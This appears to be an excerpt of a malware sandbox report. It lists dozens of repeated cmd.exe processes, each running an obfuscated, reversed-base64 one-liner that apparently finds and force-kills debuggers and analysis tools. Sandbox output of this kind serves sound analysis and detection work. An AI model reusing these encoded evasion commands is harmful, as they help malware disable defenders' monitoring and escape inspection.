  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3396
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:6060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5516
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2816
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2592
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2052
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5844
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5376
- C:\Windows\SYSTEM32\cmd.exe
